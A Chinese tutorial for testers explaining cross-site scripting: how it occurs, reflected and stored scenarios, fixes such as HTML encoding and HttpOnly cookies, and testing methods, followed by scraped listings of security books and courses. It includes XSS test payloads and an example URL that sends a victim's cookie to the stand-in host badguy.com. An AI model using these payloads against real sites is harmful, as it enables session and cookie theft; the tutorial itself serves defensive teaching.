XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。
作为测试人员,需要了解XSS的原理,攻击场景,如何修复。 才能有效的防止XSS的发生。
阅读目录
- XSS 是如何发生的
- HTML Encode
- XSS 攻击场景
- XSS漏洞的修复
- 如何测试XSS漏洞
- HTML Encode 和URL Encode的区别
- 浏览器中的XSS过滤器
- ASP.NET中的XSS安全机制
XSS 是如何发生的呢
假如有下面一个textbox
<input type="text" name="address1" value="value1from">
value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代码将会被执行
或者用户输入的是 "onfocus="alert(document.cookie) 那么就会变成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被触发的时候嵌入的JavaScript代码将会被执行
攻击的威力,取决于用户输入了什么样的脚本
当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图
HTML Encode
XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。
在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
XSS 攻击场景
1. Dom-Based XSS 漏洞 攻击过程如下
Tom 发现了Victim.com中的一个页面有XSS漏洞,
例如: http://victim.com/search.asp?term=apple
服务器中Search.asp 页面的代码大概如下
<html> <title></title> <body> Results for <%Reequest.QueryString("term")%> ... </body> </html>
Tom 先建立一个网站http://badguy.com, 用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.
2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下
Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,
Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。
其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。
Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.
XSS 漏洞修复
原则: 不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中
- 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
- 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
- 对数据进行Html Encode 处理
- 过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
- 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
如何测试XSS漏洞
方法一: 查看代码,查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie. 例如在ASP的程序中,通过Request对象获取客户端的变量
<% strUserCode = Request.QueryString(“code”); strUser = Request.Form(“USER”); strID = Request.Cookies(“ID”); %>
假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞
方法二: 准备测试脚本,
"/><script>alert(document.cookie)</script><!-- <script>alert(document.cookie)</script><!-- "onclick="alert(document.cookie)
在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞
在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行
方法三: 自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。
HTML Encode 和URL Encode的区别
刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。
HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。
例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)
在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
浏览器中的XSS过滤器
为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图
如果需要做测试, 最好使用IE7。
ASP.NET中的XSS安全机制
ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图
很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。
如果想禁止这个安全特性, 可以通过 <%@ Page validateRequest=“false" %>
相关推荐
1.2 操作系统目录安全性及Web 应用程序布署环境目录遍历问题测试 2 2 应用程序测试 3 2.1 SQL 注入漏洞测试 3 2.1.1 SQL注入漏洞攻击实现原理 3 2.1.2 SQL注入漏洞防范措施 4 2.1.3 SQL注入漏洞检测方法 5 2.2...
安全性问题之一SQL注入 如何预防SQL注入? 安全性问题之二上传文件漏洞 防止木马执行的方法 安全性问题之三XSS 安全性问题之四SCRF 安全性问题之五XSIO 安全性问题之六XSIO 安全性问题的根源 解决方法:安全性测试
他曾被邀请到会议就软件安全需求、Web应用安全和嵌入式系统安全等话题发表演讲。在Cigital,他曾担任MasterCard Internationa!在安全策略方面的主题专家,而且曾协助一家世界500强的服务业公司编写软件安全策略。他...
一、Web安全系列之基础 1、Web安全基础概念(1天) 互联网本来是安全的,自从有了研究安全的人之后,互联网就变的不安全了。 2、web面临的主要安全问题(2天) 客户端:移动APP漏洞、浏览器劫持、篡改 服务器...
包含一下从工具使用,到源码审计,到渗透测试思路,操作系统安全评估等.系统得给大家整理了学习方法. Nmap PHP代码审计 powershell语法 python regrex python SQLMAP SQLMAP-2 SSRF vi vim2 W3af web安全 web前端知识...
Web安全渗透测试基础入门篇001ppt WEB爆破口令工具实现原理解析.wmv WEB各个架构信息探针补充Wmv WEB各个架构信息探针实战wmv WEB目录文件扫描工具实现原理解析.wmv WEB伪造数据包进行XSS攻击演示wmv 基于S平台搭建...
xsser_platform:《 Web安全攻防:渗透测试实战指南》 XSS测试平台原始码
001-Linux操作系统安全V2.0.pptx 002-Windows操作系统安全V2.0.pptx 003-数据库安全.pptx 004-Web安全基础0 - 介绍.pptx 005-Web安全基础1 - HTTP协议.pptx 006-Web安全基础2 - 注入漏洞.pptx 007-Web安全基础3 - ...
第10章 Web应用程序和服务器的模糊测试:自动化 10.1 Web应用模糊器 10.2 WebFuzz的特性 10.2.1 请求 10.2.2 模糊变量 10.2.3 响应 10.3 必要的背景知识 10.3.1 识别请求 10.3.2 漏洞检测 10.4 WebFuzz的开发 10.4.1...
AWVS是一款功能强大、易于使用和高度可定制的Web漏洞扫描工具,已经成为Web应用程序安全测试领域的标准之一。在今天的互联网时代,AWVS的重要性和价值不断提升,为企业的Web安全保驾护航。AWVS还获得了多个安全行业...
1.4 Web应用安全测试 25 1.5 方法才是重点 26 第2章 安装免费工具 29 2.1 安装Firefox 29 2.2 安装Firefox扩展 30 2.3 安装Firebug 31 2.4 安装OWASP的WebScarab 32 2.5 在Windows上安装Perl及其软件包 33 2.6 在...
基于java+servlet,mysql实现web系统,适合应用于毕业设计,课程设计作业,系统均完全测试通过,可直接运行! 基于java+servlet,mysql实现web系统,适合应用于毕业设计,课程设计作业,系统均完全测试通过,可直接...
网站系统安全开发手册》是国内首本在网站系统安全开发规范方面的应用手册,由动易软件精心编制而成。结合了众多实例对各种攻击手段和防范措施设立了安全开发规范标准。 内容大纲 第一节 输入验证 什么是输入 输入...
操作系统安全 数据库安全 中间件安全 CISP-PTE模拟考试练习 渗透测试基础.pdf 渗透测试基础与CISP-PTE简介.pdf 渗透测试基础与情报搜集.pdf CISP-SSRF.pdf Web安全基础-I(SQL注入、XSS).pdf Web安全基础-II(请求伪造...
工控系统安全及应对.jpg 情报分析 diamond_threat_model.png threat_diamond_model.png 情报分析.jpg 习科技能表.jpg 无线安全 WiFi渗透流程.png 无线安全.jpg 移动安全 andrioid-security.png android_...
1.5.2 安全的请求方法 11 1.5.3 幂等的请求方法 11 1.5.4 浏览器对请求方法的支持 11 1.5.5 请求首部 12 1.6 HTTP响应 13 1.6.1 响应状态码 13 1.6.2 响应首部 14 1.7 URI 15 1.8 ...
XSS(跨站脚本攻击):描述XSS攻击是如何通过在Web应用程 7.命令注入:描述通过用户输入的方式将恶意命令传递给应用程序并执行的漏洞。提供如何利用该漏洞来执行系统命令,并介绍相应的防御措施。
3)、学会渗透测试前踩点技能 4)、学会使用常见的渗透测试工具如burpsuite、SQLmap等等 5)、了解常见的系统攻击过程及手段 6)、学会常见的系统攻击方法 7)、学会Web服务器的信息获取 8)、学会IIS、Apache、...
操作系统安全 windows操作系统安全 数据库安全 Web安全基础 HTTP协议 注入漏洞 XSS漏洞 请求伪造漏洞 文件处理漏洞 访问控制漏洞 会话管理漏洞 实战练习 中间件安全-Apache 中间件安全-IIS 中间件安全-jboss 中间件...
4. 安全测试:JMeter提供了各种测试元件,可以测试Web应用程序的安全性,例如SQL注入、XSS攻击等。 5. 性能测试:JMeter可以模拟HTTP请求,测试Web应用程序响应请求的时间、延迟和带宽使用量等。 6. 报告生成:...